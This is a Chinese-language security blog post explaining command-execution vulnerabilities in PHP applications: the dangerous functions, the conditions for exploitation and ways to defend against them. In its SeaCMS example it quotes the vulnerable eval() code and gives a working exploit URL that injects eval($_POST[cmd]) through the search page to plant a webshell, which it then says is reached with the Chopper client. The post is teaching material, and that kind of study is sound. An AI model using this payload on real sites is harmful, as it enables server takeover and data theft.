天天看点

命令执行漏洞

0x01:命令执行漏洞简介

用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码

0x02:命令执行 VS 代码执行

命令执行漏洞:

直接调用操作系统命令

代码执行漏洞:

靠执行脚本代码调用操作系统命令

命令执行原理:

在操作系统中,“&、|、||”都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令

代码执行原理:

应用有时需要调用一些执行系统命令的函数,如PHP中的system、exec、shell_exec、passthru、popen、proc_popen等,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。

0x03:漏洞利用条件

  应用调用执行系统命令的函数

  将用户输入作为系统命令的参数拼接到了命令行中

  没有对用户输入进行过滤或过滤不严

0x04:漏洞分类

1.代码层过滤不严

 商业应用的一些核心代码封装在二进制文件中,在web应用中通过system函来调用:

system("/bin/program --arg$arg");

2.系统的漏洞造成命令注入

bash破壳漏洞(CVE-2014-6271)

3.调用的第三方组件存在代码执行漏洞

如WordPress中用来处理图片的ImageMagick组件

JAVA中的命令执行漏洞(struts2/ElasticsearchGroovy等)

ThinkPHP命令执行

0x05:命令函数的利用

 1. System:system函数可以用来执行一个外部的应用程序并将相应的执行结果输出,函数原型如下:

 string system(string command, int&return_var)

其中,command是要执行的命令,return_var存放执行命令的执行后的状态值。

 2. Exec:exec函数可以用来执行一个外部的应用程序

string exec (string command, array&output, int &return_var)

其中,command是要执行的命令,output是获得执行命令输出的每一行字符串,return_var存放执行命令后的状态值。

 3.Passthru:passthru函数可以用来执行一个UNIX系统命令并显示原始的输出,当UNIX系统命令的输出是二进制的数据,并且需要直接返回值给浏览器时,需要使用passthru函数来替代system与exec函数。Passthru函数原型如下:

void passthru (string command, int&return_var)

其中,command是要执行的命令,return_var存放执行命令后的状态值。

 4. Shell_exec:执行shell命令并返回输出的字符串,函数原型如下:

string shell_exec (string command)

其中,command是要执行的命令。

0x06:漏洞危害

 继承Web服务程序的权限去执行系统命令或读 - 写文件

 反弹shell

 控制整个网站甚至控制服务器

 进一步内网渗透

0x07:海洋cms实例

命令执行常用的函数,eval(),system(),proc_open()之类的,因此能执行php代码一般就是 eval() 函数

搜索一下这个页面有eval函数的地方

<code>for</code><code>(</code><code>$m</code><code>=0;</code><code>$m</code><code>&lt;</code><code>$arlen</code><code>;</code><code>$m</code><code>++){</code>

<code>           </code><code>$strIf</code><code>=</code><code>$iar</code><code>[1][</code><code>$m</code><code>];</code>

<code>           </code><code>$strIf</code><code>=</code><code>$this</code><code>-&gt;parseStrIf(</code><code>$strIf</code><code>);</code>

<code>           </code><code>$strThen</code><code>=</code><code>$iar</code><code>[2][</code><code>$m</code><code>];</code>

<code>           </code><code>$strThen</code><code>=</code><code>$this</code><code>-&gt;parseSubIf(</code><code>$strThen</code><code>);</code>

<code>           </code><code>if</code> <code>(</code><code>strpos</code><code>(</code><code>$strThen</code><code>,</code><code>$labelRule2</code><code>)===false){</code>

<code>                </code><code>if</code><code>(</code><code>strpos</code><code>(</code><code>$strThen</code><code>,</code><code>$labelRule3</code><code>)&gt;=0){</code>

<code>                   </code><code>$elsearray</code><code>=</code><code>explode</code><code>(</code><code>$labelRule3</code><code>,</code><code>$strThen</code><code>);</code>

<code>                    </code><code>$strThen1</code><code>=</code><code>$elsearray</code><code>[0];</code>

<code>                    </code><code>$strElse1</code><code>=</code><code>$elsearray</code><code>[1];</code>

<code>                   </code><code>@</code><code>eval</code><code>(</code><code>"if("</code><code>.</code><code>$strIf</code><code>.</code><code>"){\$ifFlag=true;}else{\$ifFlag=false;}"</code><code>);</code>

<code>                    </code><code>if</code> <code>(</code><code>$ifFlag</code><code>){</code><code>$content</code><code>=</code><code>str_replace</code><code>(</code><code>$iar</code><code>[0][</code><code>$m</code><code>],</code><code>$strThen1</code><code>,</code><code>$content</code><code>);} </code><code>else</code><code>{</code><code>$content</code><code>=</code><code>str_replace</code><code>(</code><code>$iar</code><code>[0][</code><code>$m</code><code>],</code><code>$strElse1</code><code>,</code><code>$content</code><code>);}</code>

<code>                </code><code>}</code><code>else</code><code>{</code>

<code>               </code><code>@</code><code>eval</code><code>(</code><code>"if("</code><code>.</code><code>$strIf</code><code>.</code><code>") { \$ifFlag=true;} else{\$ifFlag=false;}"</code><code>);</code>

<code>                </code><code>if</code> <code>(</code><code>$ifFlag</code><code>)</code><code>$content</code><code>=</code><code>str_replace</code><code>(</code><code>$iar</code><code>[0][</code><code>$m</code><code>],</code><code>$strThen</code><code>,</code><code>$content</code><code>); </code><code>else</code><code>$content</code><code>=</code><code>str_replace</code><code>(</code><code>$iar</code><code>[0][</code><code>$m</code><code>],</code><code>""</code><code>,</code><code>$content</code><code>);}</code>

可以在这里下个断点,把变量打印出来

就可以清晰的看到就是在这执行了我们的命令

<a href="http://192.168.0.37search.php/?searchtype=5&amp;tid=&amp;area=eval(%24_POST%5Bcmd%5D)" target="_blank">http://192.168.0.37search.php?searchtype=5&amp;tid=&amp;area=eval($_POST[cmd])</a>

<a href="http://s5.51cto.com/wyfs02/M00/8B/C8/wKioL1hY8DGzNCkKAAKc62seKl8237.png" target="_blank"></a>

菜刀连接

0x08:命令执行漏洞防御

 1.尽量不要使用系统执行命令

 2.在进入执行命令函数方法之前,变量一定要做好过滤,对敏感字符进行转义

 3.在使用动态函数之前,确保使用的函数是指定的函数之一

 4.对PHP语言来说,不能完全控制的危险函数最好不要使用

本文转自 wt7315 51CTO博客,原文链接:http://blog.51cto.com/wt7315/1884368